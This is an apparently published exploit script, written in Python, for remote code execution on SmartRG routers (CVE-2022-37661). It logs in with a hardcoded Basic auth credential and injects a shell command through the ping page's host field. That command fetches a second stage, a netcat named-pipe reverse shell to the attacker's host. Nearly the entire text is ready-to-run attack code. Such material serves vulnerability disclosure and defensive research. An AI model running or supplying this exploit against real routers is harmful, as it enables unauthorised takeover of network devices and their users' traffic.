SmartRG Router 2.6.13 Remote Code Execution Exploit

# Exploit Title: SmartRG Router - Remote Code Execution
# Exploit Author: Yerodin Richards
# Vendor Homepage: https://adtran.com
# Version: 2.5.15 / 2.6.13 (confirmed)
# Tested on: SR506n (2.5.15) & SR510n (2.6.13)
# CVE : CVE-2022-37661

import requests
from subprocess import Popen, PIPE

router_host = "http://192.168.1.1"
authorization_header = "YWRtaW46QWRtMW5ATDFtMyM="

lhost = "lo"
lport = 80

payload_port = 81


def main():
    e_proc = Popen(["echo", f"rm /tmp/s & mknod /tmp/s p & /bin/sh 0< /tmp/s | nc {lhost} {lport} > /tmp/s"], stdout=PIPE)
    Popen(["nc", "-nlvp", f"{payload_port}"], stdin=e_proc.stdout)
    send_payload(f"|nc {lhost} {payload_port}|sh")
    print("done.. check shell")


def get_session():
    url = router_host + "/admin/ping.html"
    headers = {"Authorization": "Basic {}".format(authorization_header)}
    r = requests.get(url, headers=headers).text
    i = r.find("&sessionKey=") + len("&sessionKey=")
    s = ""
    while r[i] != "'":
        s = s + r[i]
        i = i + 1
    return s


def send_payload(payload):
    print(payload)
    url = router_host + "/admin/pingHost.cmd"
    headers = {"Authorization": "Basic {}".format(authorization_header)}
    params = {"action": "add", "targetHostAddress": payload, "sessionKey": get_session()}
    requests.get(url, headers=headers, params=params).text


main()